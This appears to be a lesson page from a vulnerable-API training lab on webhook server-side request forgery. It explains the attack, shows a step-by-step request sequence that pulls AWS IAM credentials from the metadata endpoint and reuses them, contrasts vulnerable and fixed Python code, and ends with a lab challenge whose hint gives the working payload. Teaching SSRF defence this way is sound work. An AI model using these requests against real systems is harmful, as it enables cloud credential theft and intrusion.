Server Side Request Forgery
Theory
API7 Server-Side Request Forgery (SSRF) entered both the Web Top 10 and the API Top 10 in 2021/2023. In the API context, the most common vector is webhook functionality: APIs that let users register a URL for the server to call when an event occurs. Without validation, the attacker registers an internal URL and the server delivers the internal response back to them.
Why Webhook SSRF is Particularly Dangerous
- Designed feature, not a bug in the code โ the API is doing exactly what it's supposed to: fetching a URL. The problem is which URLs are permitted.
- Server-side context โ requests originate from the server's internal IP, reaching services that are unreachable from the internet (Redis, Kubernetes API, internal dashboards)
- Cloud metadata exfiltration โ
http://169.254.169.254/latest/meta-data/iam/security-credentials/returns IAM credentials on AWS; the attacker can then pivot to S3, EC2, and beyond - Port scanning โ timing differences between fast-refused and slow-timeout responses allow mapping the internal network topology
Webhook SSRF โ Attack Flow
# Step 1: Authenticate and register a malicious webhook
POST /api/v1/webhooks
Authorization: Bearer eyJ...
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "event": "purchase"}
# Response: {"id": 1, "url": "http://169.254.169.254/..."}
# Step 2: Trigger the webhook
POST /api/v1/webhooks/1/trigger
# Step 3: Server fetches the URL from its internal context
# Response includes the AWS IAM credentials:
{
"webhook_id": 1,
"response": "{"AccessKeyId": "ASIA...", "SecretAccessKey": "wJal...", "Token": "AQoD..."}"
}
# Step 4: Use credentials to access S3, EC2, and other AWS services
AWS_ACCESS_KEY_ID=ASIA... aws s3 ls
Vulnerable Code
import httpx
@app.post("/api/v1/webhooks/{wh_id}/trigger")
async def trigger_webhook(wh_id: int, user = Depends(get_current_user)):
wh = db.get_webhook(wh_id)
url = wh["url"] # fully attacker-controlled; no validation
async with httpx.AsyncClient() as client:
resp = await client.get(url) # server fetches internal/metadata URL
return {"response": resp.text} # and returns the contents to the attacker
Fixed Code โ URL Allowlist + IP Blocklist
import ipaddress, socket
from urllib.parse import urlparse
ALLOWED_WEBHOOK_HOSTS = {"hooks.slack.com", "api.discord.com", "webhook.site"}
INTERNAL_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # cloud metadata
ipaddress.ip_network("::1/128"),
]
def validate_webhook_url(url: str) -> None:
parsed = urlparse(url)
if parsed.scheme not in ("https",): # only HTTPS webhooks
raise ValueError("Webhooks must use HTTPS")
if parsed.hostname not in ALLOWED_WEBHOOK_HOSTS:
raise ValueError("Webhook host not in allowlist")
resolved_ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
for blocked in INTERNAL_RANGES:
if resolved_ip in blocked:
raise ValueError("Webhook URL resolves to a blocked IP range")
@app.post("/api/v1/webhooks")
async def create_webhook(body: WebhookCreateRequest, user = Depends(get_current_user)):
try:
validate_webhook_url(body.url)
except ValueError as e:
raise HTTPException(400, str(e))
webhook = Webhook(url=body.url, user_id=user.id)
db.add(webhook)
return webhook
Real-World Breaches
- Capital One (2019) โ SSRF via a misconfigured WAF + overly permissive IAM role. Attacker used SSRF to read AWS metadata credentials, then exfiltrated 100 million records from S3. $80M fine.
- GitLab (2021) โ CVE-2021-22214 โ SSRF in the CI "import from URL" feature; attackers could read files from the GitLab server and probe internal services
- Shopify (2020) โ SSRF in a partner webhook endpoint allowed reaching internal Shopify infrastructure; $25,000 bug bounty
How to Fix โ Checklist
- Allowlist webhook hosts โ maintain an explicit list of approved webhook destinations; reject everything else
- DNS resolution + IP check โ resolve the hostname and validate the IP is not in RFC 1918, link-local, or loopback ranges (prevents DNS rebinding)
- HTTPS only for outbound calls โ no HTTP, no file://, gopher://, or dict:// schemes
- Enable IMDSv2 on AWS โ require session tokens for metadata service access; a single-hop SSRF cannot read credentials
- Egress proxy โ route all server-side outbound HTTP through a proxy that enforces the allowlist independently of application code
Challenge 1
Webhook SSRF โ Fetch Internal Flag
Register a webhook pointing to an internal-only URL. The server will fetch it when 'triggered', returning the response to you.
Hint
POST /api/v1/webhooks with {"url": "http://127.0.0.1:8000/internal/a07-flag"}, then POST /api/v1/webhooks/{id}/trigger